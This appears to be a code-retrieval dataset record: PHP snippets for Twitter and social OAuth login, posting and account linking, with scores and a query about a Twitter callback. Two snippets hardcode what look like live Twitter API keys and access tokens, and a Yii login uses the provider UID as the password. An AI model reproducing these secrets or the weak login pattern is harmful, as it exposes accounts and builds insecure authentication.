foreach($tweets as $tweet) {\n\n # Access as an object\n /*$tweetText = $tweet[\"text\"];\n\n # Make links active\n $tweetText = preg_replace(\"#(http://|(www.))(([^s<]{4,68})[^s<]*)#\", '<a href=\"http://$2$3\" target=\"_blank\">$1$2$4</a>', $tweetText);\n\n # Linkify user mentions\n $tweetText = preg_replace(\"/@(w+)/\", '<a href=\"http://www.twitter.com/$1\" target=\"_blank\">@$1</a>', $tweetText);\n\n # Linkify tags\n $tweetText = preg_replace(\"/#(w+)/\", '<a href=\"http://search.twitter.com/search?q=$1\" target=\"_blank\">#$1</a>', $tweetText);\n\n # Output\n echo $tweetText;*/\n\n }\n var_dump($tweets);\n}\n\n \t\treturn new Response();\n\t\t}", "private function twitter() {\n\t\t$url = 'https://twitter.com/intent/tweet?';\n\n\t\t$query = array(\n\t\t\t'*url' \t=> $this->_get_param( 'permalink' ),\n\t\t\t'text'\t=> $this->_get_param( 'title' ),\n\t\t\t'via'\t\t=> $this->_get_param( 'via' ),\n\t\t);\n\n\t\treturn $this->_create_query_string( $url, $query );\n\t}", "public function execute() {\n require 'src/twitteroauth.php';\n require 'src/twconfig.php';\n $om = \\Magento\\Framework\\App\\ObjectManager::getInstance ();\n /** @var \\Magento\\Customer\\Model\\Session $session */\n $session = $om->get('\\Magento\\Customer\\Model\\Session');\n /**\n * Retrives @Twitter consumer key and secret key from core session\n */\n $tw_oauth_token = $session->getTwToken ();\n $tw_oauth_token_secret = $session->getTwSecret ();\n \n $twitteroauth = new \\TwitterOAuth ( YOUR_CONSUMER_KEY, YOUR_CONSUMER_SECRET, $tw_oauth_token, $tw_oauth_token_secret );\n /**\n * Get Accesss token from @Twitter oAuth\n */\n $oauth_verifier = $this->getRequest()->getParam('oauth_verifier');\n $twitteroauth->getAccessToken($oauth_verifier);\n /**\n * Get @Twitter User Details from twitter account\n *\n * @return string Redirect URL or Customer save action\n */\n $user_info = $twitteroauth->get ( 'account/verify_credentials' );\n /**\n * Retrieve the user details into twitter profile info.\n *\n * @var $user_info array\n */\n $firstname = $user_info->name;\n $email = $this->_objectManager->create('\\Magento\\Customer\\Model\\Session')->getTwemail ();\n $isSeller = $session->getIsseller ();\n \n $lastname = $user_info->screen_name;\n /**\n * Retrieve the user details into twitter profile info.\n *\n * @var $user_info array If @user_info contains error means throws the error message.\n */\n if (isset ( $user_info->error ) || $email == '' || $firstname == '') {\n $session->addError ( __ ( 'Twitter Login connection failed' ) );\n $this->_objectManager->create ( '\\Magento\\Customer\\Model\\Url' )->getAccountUrl ();\n $this->accountRedirect->getRedirect ();\n } else {\n /**\n * If the email and firstname is not retreived print the error.\n */\n $this->createUser ( $email, $firstname, $lastname, $isSeller );\n }\n }", "function accessTokenURL() { return 'https://api.twitter.com/oauth/access_token'; }", "public function callback()\n {\n try {\n $user = Socialite::with('reddit')->user();\n } catch (Exception $e) {\n return redirect()->route('home')->with('message', [\n 'type' => 'danger',\n 'body' => 'There was an error authenticating with Reddit. Try again later.'\n ]);\n }\n\n $name = $user->nickname;\n $auth = User::firstOrCreate([\n 'id' => $user->id,\n 'name' => strtolower($name),\n 'nickname' => $name\n ]);\n\n Auth::login($auth, true);\n\n $redirectPath = session('redirect_to', '/');\n session()->forget('redirect_to');\n return redirect($redirectPath)->with('message', [\n 'type' => 'success',\n 'body' => 'You have successfully logged in!'\n ]);\n }", "public function login()\n\t{\n\t\tif (empty($this->_callbackURL))\n\t\t{\n\t\t\tthrow new Exception('No data for social login: Callback URL');\n\t\t}\n\n\t\t$oAuth = $this->_getTWOAuth();\n\t\t$tokenCredentials = $oAuth->getRequestToken($this->_callbackURL);\n\t\t$oauthRedirectUrl = $oAuth->getAuthorizeURL($tokenCredentials);\n\n\t\t$this->_app['session']->set(self::SOCIAL_TOKEN_NAME, $tokenCredentials['oauth_token']);\n\t\t$this->_app['session']->set(self::SOCIAL_TOKEN_SECRET_NAME, $tokenCredentials['oauth_token_secret']);\n\n\t\treturn $oauthRedirectUrl;\n\t}", "public function processTweetsAction()\n {\n try {\n $url = $_SERVER['HTTP_REFERER'];\n $customer = Mage::getSingleton('customer/session')->getCustomer();\n\n if (!Mage::getSingleton('customer/session')->isLoggedIn()) {\n throw new Exception($this->__(\"You must be logged in for us to reward you for tweeting.\"), 110);\n }\n\n $tweet = Mage::getModel('rewardssocial/twitter_tweet');\n\n if ($tweet->hasAlreadyTweetedUrl($customer, $url)) {\n throw new Exception($this->__(\"You've already tweeted about this page.\"), 120);\n }\n\n $minimumWait = $tweet->getTimeUntilNextTweetAllowed($customer);\n if($minimumWait > 0) {\n throw new Exception($this->__(\"Please wait %s second(s) before tweeting another page if you want to be rewarded.\", $minimumWait), 130);\n }\n\n if ($tweet->isMaxDailyTweetsReached($customer)) {\n $maxTweets = $this->_getMaxTweetsPerDay($customer);\n throw new Exception($this->__(\"You've reached the tweet-rewards limit for today (%s tweets per day)\", $maxTweets), 140);\n }\n\n $tweet->setCustomerId($customer->getId())\n ->setUrl($url)\n ->save();\n\n if (!$tweet->getId()) {\n throw new Exception($this->__(\"TWEET model was not saved for some reason.\"), 10);\n }\n\n $validatorModel = Mage::getModel('rewardssocial/twitter_tweet_validator');\n $validatorModel->initReward($customer->getId(), $url);\n\n $message = $this->__(\"Thanks for tweeting this page!\");\n $predictedPoints = $validatorModel->getPredictedTwitterTweetPoints();\n if (count($predictedPoints) > 0) {\n $pointsString = (string) Mage::getModel('rewards/points')->set($predictedPoints);\n $message = $this->__(\"You've earned <b>%s</b> for tweeting!\", $pointsString);\n }\n\n $this->_jsonSuccess(array(\n 'success' => true,\n 'message' => $message\n ));\n } catch (Exception $ex) {\n // log the exception\n Mage::helper('rewards')->logException(\"There was a problem rewarding customer {$customer->getEmail()} (ID: {$customer->getId()}) for tweeting about a page ({$url}): \".\n $ex->getMessage());\n\n $message = $this->__('There was a problem trying to reward you for tweeting about this page.<br/>Try again and contact us if you still encounter this issue.');\n if ($ex->getCode() > 100) {\n $message = $ex->getMessage();\n }\n\n $this->_jsonError(array(\n 'success' => false,\n 'message' => $message\n ));\n }\n\n return $this;\n }", "public function getTwitter()\n\t{\n\t\treturn $this->twitter;\n\t}", "public function loginAction() {\n $auth = Zend_Auth::getInstance();\n\n // check if a user is already logged\n if ($auth->hasIdentity()) {\n $this->_helper->FlashMessenger('It seems you are already logged into the system ');\n return $this->_redirect('/account');\n }\n\n // if the user is not logged, the do the logging\n // $openid_identifier will be set when users 'clicks' on the account provider\n $openid_identifier = $this->getRequest()->getParam('openid_identifier', null);\n\n // $openid_mode will be set after first query to the openid provider\n $openid_mode = $this->getRequest()->getParam('openid_mode', null);\n\n // this one will be set by facebook connect\n $code = $this->getRequest()->getParam('code', null);\n\n // while this one will be set by twitter\n $oauth_token = $this->getRequest()->getParam('oauth_token', null);\n\n\n // do the first query to an authentication provider\n if ($openid_identifier) {\n\n if ('https://www.twitter.com' == $openid_identifier) {\n $adapter = $this->_getTwitterAdapter();\n } else if ('https://www.facebook.com' == $openid_identifier) {\n $adapter = $this->_getFacebookAdapter();\n } else {\n // for openid\n $adapter = $this->_getOpenIdAdapter($openid_identifier);\n\n // specify what to grab from the provider and what extension to use\n // for this purpose\n $toFetch = $this->_keys->openid->tofetch->toArray();\n\n // for google and yahoo use AtributeExchange Extension\n if ('https://www.google.com/accounts/o8/id' == $openid_identifier || 'http://me.yahoo.com/' == $openid_identifier) {\n $ext = $this->_getOpenIdExt('ax', $toFetch);\n\n } else {\n $ext = $this->_getOpenIdExt('sreg', $toFetch);\n }\n\n $adapter->setExtensions($ext);\n Zend_Registry::get('log')->info('Class is :' . get_class($adapter));\n }\n\n // here a user is redirect to the provider for login\n $result = $auth->authenticate($adapter);\n\n Zend_Registry::get('log')->info(get_class($result));\n\n // the following two lines should never be executed unless the redirection faild.\n $this->_helper->FlashMessenger('Redirection faild');\n return $this->_redirect('/index/index');\n } else if ($openid_mode || $code || $oauth_token) {\n // this will be exectued after provider redirected the user back to us\n\n if ($code) {\n // for facebook\n $adapter = $this->_getFacebookAdapter();\n } else if ($oauth_token) {\n // for twitter\n $adapter = $this->_getTwitterAdapter()->setQueryData($_GET);\n } else {\n // for openid \n $adapter = $this->_getOpenIdAdapter(null);\n\n // specify what to grab from the provider and what extension to use\n // for this purpose\n $ext = null;\n \n $toFetch = $this->_keys->openid->tofetch->toArray();\n \n // for google and yahoo use AtributeExchange Extension\n if (isset($_GET['openid_ns_ext1']) || isset($_GET['openid_ns_ax'])) {\n $ext = $this->_getOpenIdExt('ax', $toFetch);\n } else if (isset($_GET['openid_ns_sreg'])) {\n $ext = $this->_getOpenIdExt('sreg', $toFetch);\n }\n\n if ($ext) {\n $ext->parseResponse($_GET);\n $adapter->setExtensions($ext);\n }\n }\n\n $result = $auth->authenticate($adapter);\n\n // Successful auth back from the OpenId provider.\n if ($result->isValid()) {\n $toStore = array('identity' => $auth->getIdentity());\n\n if (isset($ext) && $ext) {\n // for openId\n $toStore['properties'] = $ext->getProperties();\n } else if ($code) {\n // for facebook\n $msgs = $result->getMessages();\n $toStore['properties'] = (array) $msgs['user'];\n\n } else if ($oauth_token) {\n // for twitter\n $identity = $result->getIdentity();\n // get user info\n $twitterUserData = (array) $adapter->verifyCredentials();\n $toStore = array('identity' => $identity['user_id']);\n if (isset($twitterUserData['status'])) {\n $twitterUserData['status'] = (array) $twitterUserData['status'];\n }\n $toStore['properties'] = $twitterUserData;\n }\n $email = isset($toStore['properties']['email']) ? $toStore['properties']['email'] : 'dummy';\n\n /** @var $rep ZFStarter\\Entity\\Repository\\PersonRepository */\n $rep = $this->entityManager->getRepository('ZFStarter\\Entity\\Person');\n\n /** @var $person ZFStarter\\Entity\\Person */\n $person = $rep->findOneBy(array('openid'=> $email));\n\n if ($person instanceof ZFStarter\\Entity\\Person) {\n // They have an account\n \\Zend_Registry::get('log')->debug(__METHOD__ . \"\\nRole should be actor but is ...\" . $person->getRoleId());\n\n\n $auth->getStorage()->write($person->toArray());\n\n $this->_helper->FlashMessenger('Successful authentication');\n return $this->_redirect('/account/index');\n } else {\n\n $auth->getStorage()->write(array(\n 'role' => 'person',\n 'email' => $email,\n 'openid' => $email,\n ));\n\n // Redirect to create account \n $r = Zend_Controller_Action_HelperBroker::getStaticHelper('redirector');\n $r->gotoSimple('create', 'account', null, array('email' => $email));\n\n }\n\n\n } else {\n $this->_helper->FlashMessenger('Failed authentication');\n $this->_helper->FlashMessenger($result->getMessages());\n return $this->_redirect('/index/index');\n }\n }\n }", "public function twitter()\n {\n return view('conversation.twitter');\n }", "public function twitterConeection(){\n $consumer_key = \"t3d83hZCU1UMX6qVL2m7DMak3\";\n $consumer_secret = \"YB1wEWsQOxlq6V49U7jaDLUP7zvB2ebU45tzVeY8c076pgBHhN\";\n $access_token = \"763790480006115332-qqhP81UfTsCB4jUo4MLO8pDkAbm2jw4\";\n $access_token_secret=\"WJrP7klIKqVTRWbaPsV6PNUbe6JrOo5hIPQBCZFwQfT2x\";\n $connection = new TwitterOAuth($consumer_key, $consumer_secret, $access_token, $access_token_secret);\n return $connection;\n }", "public function action_index()\n\t{\n// \t\t$temporary_credentials = $connection->getRequestToken('');\n// \t\t// echo \"<pre>\";\n// \t\t// print_r($redirect_url = $connection->getAuthorizeURL($temporary_credentials));\n// \t\t// echo \"</pre>\";\n// // 5235676\n\n// \t\t$connection->post('statuses/update', array('status' => 'Text of status here'));\n\t}", "public static function twitter()\n {\n return 'twitter';\n }", "public function getTwitterId()\n {\n return $this->twitterId;\n }", "public function index()\n {\n $user = Auth::user();\n $twitterAccount = $user->TwitterAccount;\n\n $twitter = new Twitter($user->id);\n $twitterProfile = $twitter->getUserProfile();\n\n return view('twitter')->with(compact('twitterAccount', 'twitterProfile'));\n }", "private function instanceTwitter() \n\t{\n\t\treturn $this->twitter = new Twitter;\n\t}", "public function setTwitterAccount($account)\n {\n $this->_twitterAccount = $account;\n return $this;\n }", "public function oauthCallback(Request $request)\n {\n\n // First retrieve the access token from twitch\n $tokenRequest = new TwitchTokenRequest($request->input(\"code\"));\n $tokenResponse = $tokenRequest->perform();\n $accessToken = $tokenResponse->getAccessToken();\n\n // Next get the user associated with this access token\n $userRequest = new TwitchUserRequest($accessToken);\n $userResponse = $userRequest->perform();\n $user = $userResponse->getUser();\n\n $followRequest = new TwitchFollowRequest($accessToken, $user->name);\n $followResponse = $followRequest->perform();\n $follows = $followResponse->getFollows();\n\n // Now we pass the token to a static function that associates the session with this user.\n // If the user has never logged in before we create a new user entry on our side and log them in,\n // if the user exists we update their access token and log them in.\n\n return redirect(url(''));\n }", "public function completed()\r\n {\r\n // Twitter hands us back to this URL and we have to then make\r\n // some background OAuth requests to obtain the users keys\r\n //\r\n // You have to follow an sequence of API calls to achieve this\r\n // Rather than make it one single call I split it up so\r\n // It is a) easier to understand the process and b) because\r\n // a lot of this is \"blocking\" calls and so it makes it somewhat\r\n // easier to debug\r\n if($this->twitter->check_login() == False)\r\n {\r\n // This gets the tokens from the database ready to trade\r\n $this->twitter->sessionRequestTokens();\r\n \r\n // Now we go to Twitter direct and ask to trade the request\r\n // tokens for access tokens (the ones that give us Oauth\r\n // privileges). This uses CURL.\r\n $this->twitter->tradeRequestForAccess();\r\n \r\n // Tries to store the tokens in OUR db\r\n // Also sets a cookie to remember we did all this\r\n if($this->twitter->storeTokens())\r\n {\r\n\r\n // if successful we head back to further demo's :)\r\n url::redirect('/');\r\n }\r\n else\r\n {\r\n echo \"help - a wierd error occured somewhere. Check your installation again\";\r\n }\r\n \r\n }\r\n else\r\n {\r\n url::redirect('/ktwitter/demo');\r\n }\r\n }", "public function setTwitterUrl($var)\n {\n GPBUtil::checkString($var, True);\n $this->twitter_url = $var;\n }", "public function comentarConTwitter(){\n\t\t$firephp = FirePHP::getInstance(True);\n\t\t$firephp->log(\"Dentro de comentarConTwitter()\");\n\t\t$this->load->model(\"Observacion\");\n\t\t$json=$this->Observacion->enviarComentarioTwitter();\n\t\t$firephp->log(\"<p>El json retornado es: \".$json.\"</p>\");\n\t\t$firephp->log(\"Fin de comentarConTwitter!\");\n\t}", "public function do_api_request() {\n\t\trequire_once __DIR__ . '/../vendor/Twitter/autoload.php';\n\n\t\t$swp_api_key = 'MQGiE1PFoRKEjhR0xVGC0bT0R';\n\t\t$swp_api_secret = '2MN9AHNFIA6lYNG0lWicArt6jr8xv19iFWGRNOTRvRhKE4wYyX';\n\n\t\t$consumer_access_token = SWP_Credential_Helper::get_token('twitter');\n\t\t$consumer_secret = SWP_Credential_Helper::get_token('twitter', 'access_secret');\n\n\t\t$connection = new Abraham\\TwitterOAuth\\TwitterOAuth($swp_api_key, $swp_api_secret, $consumer_access_token, $consumer_secret);\n\n\n\t\t/**\n\t\t * Max pagination is 5000. If a 'next_cursor' field exists, use that to\n\t\t * continue reading followers. Providing $cursor = -1 tells Twitter that\n\t\t * we are prepared to use a cursor for pagination.\n\t\t *\n\t\t * When there are no more pages, 'next_cursor' == 0.\n\t\t *\n\t\t */\n\t\tdo {\n\t\t\t$next_cursor = !empty( $response ) ? $response->next_cursor : -1;\n\t\t\t$params = array( 'screen_name' => $this->username, 'cursor' => $next_cursor );\n\t\t\t$response = $connection->get('followers/ids', $params);\n\n\t\t\tif ( isset( $response->errors ) ) {\n\t\t\t\terror_log('SWFW error making Twitter request: ' . var_export($response->errors, 1));\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tif ( is_array( $response->ids ) ) {\n\t\t\t\t// Followers are listed as an array of user ids. Count them.\n\t\t\t\t$this->follow_count += count( $response->ids);\n\t\t\t}\n\n\t\t} while ( !empty( $next_cursor ) && $response->next_cursor != 0 );\n\n\t}", "public function setTwitter($v)\n\t{\n\t\tif ($v !== null) {\n\t\t\t$v = (string) $v;\n\t\t}\n\n\t\tif ($this->twitter !== $v) {\n\t\t\t$this->twitter = $v;\n\t\t\t$this->modifiedColumns[] = VenuePeer::TWITTER;\n\t\t}\n\n\t\treturn $this;\n\t}", "public function set_temporary_credentials() {\n $connection = new TwitterOAuth($this->_config['consumer_key'], $this->_config['consumer_secret']);\n $temporary_credentials = $connection->getRequestToken();\n\n $this->_ci->session->set_userdata( 'oauth_token', $temporary_credentials['oauth_token'] );\n $this->_ci->session->set_userdata( 'oauth_token_secret', $temporary_credentials['oauth_token_secret'] );\n\n $redirect_url = $connection->getAuthorizeURL($temporary_credentials);\n return $redirect_url;\n }", "public function log_user_into_facebook()\n {\n // TODO: Parameterise redirect_url and scope values\n $login_config = array(\n \"redirect_uri\" => \"http://sociable.local/account/facebooklogin\",\n \"scope\" => \"user_birthday, read_stream, user_location, publish_stream, email, read_friendlists, publish_checkins, user_education_history, user_work_history\"\n );\n $login_url = self::getLoginUrl($login_config);\n header('Location: ' . $login_url, true);\n exit;\n }", "function __construct()\n {\n $this->twitter = new TwitterOAuth($this->consumer, $this->consumersecret, $this->accesstoken, $this->secrettoken);\n }", "public function tweet($tweet, $options = []);", "function loginpage_hook() {\n global $CFG, $SESSION; \n \n if(isset($CFG->disablewordpressauth) && ($CFG->disablewordpressauth == true)) {\n return;\n }\n \n // Only authenticate against WordPress if the user has clicked on a link to a protected resource\n if(!isset($SESSION->wantsurl)) {\n return;\n }\n \n $client_key = $this->config->client_key;\n $client_secret = $this->config->client_secret;\n $wordpress_host = $this->config->wordpress_host;\n \n if( (strlen($wordpress_host) > 0) && (strlen($client_key) > 0) && (strlen($client_secret) > 0) ) {\n // kick ff the authentication process\n $connection = new BasicOAuth($client_key, $client_secret);\n \n // strip the trailing slashes from the end of the host URL to avoid any confusion (and to make the code easier to read)\n $wordpress_host = rtrim($wordpress_host, '/');\n \n $connection->host = $wordpress_host . \"/wp-json\";\n $connection->requestTokenURL = $wordpress_host . \"/oauth1/request\";\n \n $callback = $CFG->wwwroot . '/auth/wordpress/callback.php';\n $tempCredentials = $connection->getRequestToken($callback);\n \n $_SESSION['oauth_token'] = $tempCredentials['oauth_token'];\n $_SESSION['oauth_token_secret'] = $tempCredentials['oauth_token_secret'];\n \n $connection->authorizeURL = $wordpress_host . \"/oauth1/authorize\";\n \n $redirect_url = $connection->getAuthorizeURL($tempCredentials);\n \n header('Location: ' . $redirect_url);\n die;\n }// if \n }", "function ggouv_twitter_api_create_user($twitter) {\n\t// check new registration allowed\n\tif (!twitter_api_allow_new_users_with_twitter()) {\n\t\tregister_error(elgg_echo('registerdisabled'));\n\t\tforward();\n\t}\n\n\t// Elgg-ify Twitter credentials\n\t$username = $twitter->screen_name;\n\twhile (get_user_by_username($username)) {\n\t\t// @todo I guess we just hope this is good enough\n\t\t$username = $twitter->screen_name . '_' . rand(1000, 9999);\n\t}\n\n\t$password = generate_random_cleartext_password();\n\t$name = $twitter->name;\n\n\t$user = new ElggUser();\n\t$user->username = $username;\n\t$user->name = $username;\n\t$user->realname = $name;\n\t$user->twitter = $twitter->screen_name;\n\t$user->access_id = ACCESS_PUBLIC;\n\t$user->salt = generate_random_cleartext_password();\n\t$user->password = generate_user_password($user, $password);\n\t$user->owner_guid = 0;\n\t$user->container_guid = 0;\n\n\tif (!$user->save()) {\n\t\tregister_error(elgg_echo('registerbad'));\n\t\tforward();\n\t}\n\n\treturn $user;\n}", "protected function access_token() {\r\n\r\n\t\t$this->tmhOAuth->config['user_token'] = $_SESSION['oauth']['oauth_token'];\r\n\t\t$this->tmhOAuth->config['user_secret'] = $_SESSION['oauth']['oauth_token_secret'];\r\n\r\n\t\t$code = $this->tmhOAuth->request(\r\n\t\t\t'POST',\r\n\t\t\t$this->tmhOAuth->url('oauth/access_token', ''),\r\n\t\t\tarray(\r\n\t\t\t\t'oauth_verifier' => $_REQUEST['oauth_verifier']\r\n\t\t\t)\r\n\t\t);\r\n\r\n\t\tif ($code == 200) {\r\n\t\t\t$token = $this->tmhOAuth->extract_params($this->tmhOAuth->response['response']);\r\n\t\t\t$this->conf->TwitterOAuthToken = $token['oauth_token'];\r\n\t\t\t$this->conf->TwitterOAuthSecret = $token['oauth_token_secret'];\r\n\t\t\t$this->conf->TwitterUsername = $token['screen_name'];\r\n\t\t\t$this->conf->write();\r\n\t\t\tunset($_SESSION['oauth']);\r\n\t\t\theader('Location: ' . SocialHelper::php_self());\r\n\t\t} else {\r\n\t\t\t$this->addError();\r\n\t\t}\r\n\t}", "public function getTwitterUsername()\n {\n return $this->twitterUsername;\n }", "public function getCallback(Request $request)\n {\n $inputs = $request->all();\n \n $oauthToken = $inputs['oauth_token'];\n $oauthVerifier = $inputs['oauth_verifier'];\n\n $connection = new TwitterOAuth(env('TWITTER_CONSUMER_KEY'), env('TWITTER_CONSUMER_SECRET'), $oauthToken, $oauthVerifier);\n\n $accessToken = $connection->oauth(\"oauth/access_token\", [\"oauth_verifier\" => $oauthVerifier]);\n \n //We suppose that each user can link her account to a single twitter account, so we use `updateOrCreate` instead of `create` in order to update the record instead of creating a new one in the case where the user logs in with a different account\n $twitterAccount = TwitterAccount::updateOrCreate(['user_id' => Auth::user()->id], [\n 'twitter_user_id' => $accessToken['user_id'],\n 'oauth_token' => $accessToken['oauth_token'],\n 'oauth_token_secret' => $accessToken['oauth_token_secret'],\n 'twitter_screen_name' => $accessToken['screen_name'],\n ]);\n \n return redirect()->route('twitter');\n }", "public function actionLogin($provider_name=null)\n\t{\n\t\t// If already logged in, redirect to home URL\n\t\tif(!Yii::app()->user->isGuest) $this->redirect(Yii::app()->homeUrl);\n\t\t\n\t\tif($provider_name)\n\t\t{\n\t\t\t$config = Yii::app()->request->baseUrl . 'hybridauth/config.php';\n\t\t\trequire_once( Yii::app()->request->baseUrl . 'hybridauth/Hybrid/Auth.php' );\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\t// create an instance for Hybridauth with the configuration file path as parameter\n\t\t\t\t$hybridauth = new Hybrid_Auth( $config );\n\t\t\t \n\t\t\t\t// try to authenticate the user with twitter, \n\t\t\t\t// user will be redirected to Twitter for authentication, \n\t\t\t\t// if he already did, then Hybridauth will ignore this step and return an instance of the adapter\n\t\t\t\t$provider = $hybridauth->authenticate( $provider_name ); \n\t\t\t \n\t\t\t\t// get the user profile \n\t\t\t\t$provider_user_profile = $provider->getUserProfile();\n\t\t\t \n\t\t\t}\n\t\t\tcatch( Exception $e ){ \n\t\t\t\t// Display the recived error, \n\t\t\t\t// to know more please refer to Exceptions handling section on the userguide\n\t\t\t\tswitch( $e->getCode() ){ \n\t\t\t\t case 0 : echo \"Unspecified error.\"; break;\n\t\t\t\t case 1 : echo \"Hybriauth configuration error.\"; break;\n\t\t\t\t case 2 : echo \"Provider not properly configured.\"; break;\n\t\t\t\t case 3 : echo \"Unknown or disabled provider.\"; break;\n\t\t\t\t case 4 : echo \"Missing provider application credentials.\"; break;\n\t\t\t\t case 5 : echo \"Authentification failed. \" \n\t\t\t\t\t\t\t . \"The user has canceled the authentication or the provider refused the connection.\"; \n\t\t\t\t\t\t break;\n\t\t\t\t case 6 : echo \"User profile request failed. Most likely the user is not connected \"\n\t\t\t\t\t\t\t . \"to the provider and he should authenticate again.\"; \n\t\t\t\t\t\t $provider->logout(); \n\t\t\t\t\t\t break;\n\t\t\t\t case 7 : echo \"User not connected to the provider.\"; \n\t\t\t\t\t\t $provider->logout(); \n\t\t\t\t\t\t break;\n\t\t\t\t case 8 : echo \"Provider does not support this feature.\"; break;\n\t\t\t\t} \n\t\t\t \n\t\t\t\t// well, basically your should not display this to the end user, just give him a hint and move on..\n\t\t\t\t//echo \"<br /><br /><b>Original error message:</b> \" . $e->getMessage(); \n\t\t\t}\n\t\t\t\n\t\t\t// Try to find user in database matching $provider_user_profile->identifier\n\t\t\t$user = User::model()->findByAttributes(array('provider_uid'=>$provider_user_profile->identifier));\n\t\t\t// If user exists, log that user in\n\t\t\tif ($user) {\n\t\t\t\t$model=new LoginForm;\n\t\t\t\t\n\t\t\t\t// Set $model->attributes to the attributes from the database\n\t\t\t\t$model->email = $user->email;\n\t\t\t\t$model->password = $user->provider_uid;\n\t\t\t\t// FUTURE NOTE: Don't require password if provider_uid is part of the model (see the login or validate functions)\n\t\t\t\t// This might cause problems later when we implement password changing\n\t\t\t\t\n\t\t\t\t// Validate user input and redirect to the previous page if valid\n\t\t\t\tif($model->validate() && $model->login())\n\t\t\t\t\t$this->redirect(Yii::app()->user->returnUrl);\n\t\t\t}\n\t\t\t\n\t\t\t// If user doesn't exist in database, see if we can register them\n\t\t\tif ($provider_user_profile->email) {\n\t\t\t\t$model=new User('register');\n\n\t\t\t\t$model->email = $provider_user_profile->email;\n\t\t\t\t$model->pass = $model->passCompare = $provider_user_profile->identifier;\n\t\t\t\t$model->provider_uid = $provider_user_profile->identifier;\n\t\t\t\tif($model->save())\n\t\t\t\t{\n\t\t\t\t\tYii::app()->user->setFlash('success','<strong>Success!</strong> Now Topular should log you in. But it won\\'t. Cuz I haven\\'t built it.');\n\t\t\t\t} else {\n\t\t\t\t\tYii::app()->user->setFlash('error','<strong>The email associated with your ' . $provider_name . ' account already exists.</strong> Please try logging in with this email.');\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t\tYii::app()->user->setFlash('warning','<strong>You are so close!</strong> Your ' . $provider_name . ' account did not have an email associated with it. Please enter your email to finish logging in.');\n\t\t\t}\n\t\t}\n\n\t\t$model=new LoginForm;\n\t\t\t\n\t\t// if it is ajax validation request\n\t\tif(isset($_POST['ajax']) && $_POST['ajax']==='login-form')\n\t\t{\n\t\t\techo CActiveForm::validate($model);\n\t\t\tYii::app()->end();\n\t\t}\n\n\t\t// collect user input data\n\t\tif(isset($_POST['LoginForm']))\n\t\t{\n\t\t\t$model->attributes=$_POST['LoginForm'];\n\t\t\t// validate user input and redirect to the previous page if valid\n\t\t\tif($model->validate() && $model->login())\n\t\t\t\t$this->redirect(Yii::app()->user->returnUrl);\n\t\t}\n\t\t// display the login form\n\t\t$this->render('login',array('model'=>$model, 'provider'=>$provider));\n\t}", "function umnshib_redirectToLogin(array $options = array())\n{\n $shib = new BasicAuthenticator();\n $shib->redirectToLogin($options);\n}", "protected static function getFacadeAccessor() \n { \n \treturn 'Twitter' ; \n }", "function ecsp_twitter_publish_post( $post_id, $user_id ) {\n\t$share_twitter = get_post_meta($post_id, 'ecsp_share_twitter', true );\n\t$share_all = get_post_meta($post_id, 'ecsp_share_all', true );\n\n\t// The user must have selected to share on Twitter, or share on All\n\tif ( !$share_twitter && !$share_all ) {\n\t\treturn;\n\t}\n\n\t// If the user does not have this account connected, abort. Might be due to \"all\" being checked.\n\tif ( !get_user_meta( $user_id, 'ecsp-twitter-access-token', true ) ) return;\n\n\t$twAuth = ecsp_get_twitter_auth_api();\n\tif ( !$twAuth ) {\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'Could not initialize the Twitter API' );\n\t\treturn;\n\t}\n\n\t// Get the user's message. This will include a link to the article.\n\t$user_message = ecsp_get_share_message( $post_id, 140, true );\n\n\tif ( !$user_message ) {\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'The sharing message was not provided.' );\n\t\treturn;\n\t}\n\n\ttry {\n\t\t$result = $twAuth->post( 'statuses/update', array( 'status' => $user_message ) );\n\t} catch( Abraham\\TwitterOAuth\\TwitterOAuthException $e ) {\n\t\tupdate_post_meta( $post_id, 'ecsp-twitter-error', 'Twitter returned an error: ' . $e->getMessage() );\n\t\tdelete_post_meta( $post_id, 'ecsp-twitter-share-result' );\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'Twitter returned an error: ' . $e->getMessage() );\n\t\treturn;\n\t}\n\n\tupdate_post_meta( $post_id, 'ecsp-twitter-share-result', $result );\n\tdelete_post_meta( $post_id, 'ecsp-twitter-error' );\n}" ]
[ "0.77616394", "0.7610309", "0.7517423", "0.74969643", "0.7480425", "0.74217933", "0.74174154", "0.7210218", "0.71696055", "0.70359373", "0.70332396", "0.69441724", "0.6893128", "0.6854653", "0.68261254", "0.6769326", "0.67644507", "0.66700405", "0.66450393", "0.65843445", "0.6521162", "0.6513248", "0.65127397", "0.6492345", "0.6416172", "0.64110225", "0.6392466", "0.6359245", "0.63325846", "0.6301783", "0.6278054", "0.6255041", "0.62475514", "0.6212284", "0.62106633", "0.6174795", "0.6082225", "0.6051063", "0.60292387", "0.598459", "0.59816915", "0.5968319", "0.5959081", "0.59128845", "0.58744425", "0.58652717", "0.5822971", "0.5819537", "0.58114934", "0.58088976", "0.580497", "0.5792969", "0.5780305", "0.5722323", "0.5683512", "0.5670588", "0.56079584", "0.560291", "0.56016296", "0.55992824", "0.5594453", "0.558594", "0.5566522", "0.55655426", "0.55629647", "0.5561253", "0.55424607", "0.5541952", "0.55260193", "0.552554", "0.55239516", "0.5521327", "0.5518683", "0.5506083", "0.550459", "0.5502275", "0.550054", "0.54853344", "0.54751223", "0.5445615", "0.54425067", "0.5437832", "0.5417269", "0.54064757", "0.54063636", "0.5399614", "0.5397888", "0.5395481", "0.5382765", "0.5376807", "0.53681535", "0.5361306", "0.53588736", "0.5355888", "0.5336761", "0.53327435", "0.5309695", "0.5307696", "0.52987015", "0.5296824" ]
0.6131076
36
Handle the Twitter callback and the values that go along with it. Ensure the user is already logged into the local application. Get the Twitter account and details, and store or update them. Then redirect back to home.
